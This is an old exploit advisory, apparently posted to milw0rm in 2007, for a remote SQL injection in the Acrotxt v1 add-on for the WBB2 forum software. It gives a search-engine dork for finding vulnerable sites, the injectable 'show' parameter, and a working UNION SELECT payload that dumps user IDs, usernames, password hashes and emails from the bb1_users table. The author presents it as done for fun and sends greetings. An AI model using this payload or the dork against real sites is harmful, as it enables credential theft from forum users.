21 lines
No EOL
849 B
Text
21 lines
No EOL
849 B
Text
####################################################################
|
|
Title: WBB2-Addon: Acrotxt v1 (show) Remote SQL Injection
|
|
Bug by: D4m14n [11/07/2007]
|
|
Page: www.damians-world.dl.am // www.team-internet.dl.am
|
|
Dork: inurl:acrotxt.php wbb
|
|
####################################################################
|
|
|
|
SQL-Injection:
|
|
http://[target]/[path]/acrotxt.php?show=[SQL]
|
|
|
|
Example:
|
|
/acrotxt.php?show=-1'/**/UnIoN/**/SElECt/**/null,null,COnCAt(userid,', ',username,', ',password,', ',email),null,null,null,null,null/**/FroM/**/bb1_users/*
|
|
|
|
####################################################################
|
|
# Doin' this for FUN!
|
|
# GreetZ fly out to Trex, HANN!BAL, Eddy14, Ea$y, Kiba and many more
|
|
#
|
|
# PS: I still hate the Black-Music-Scene...
|
|
####################################################################
|
|
|
|
# milw0rm.com [2007-08-27] |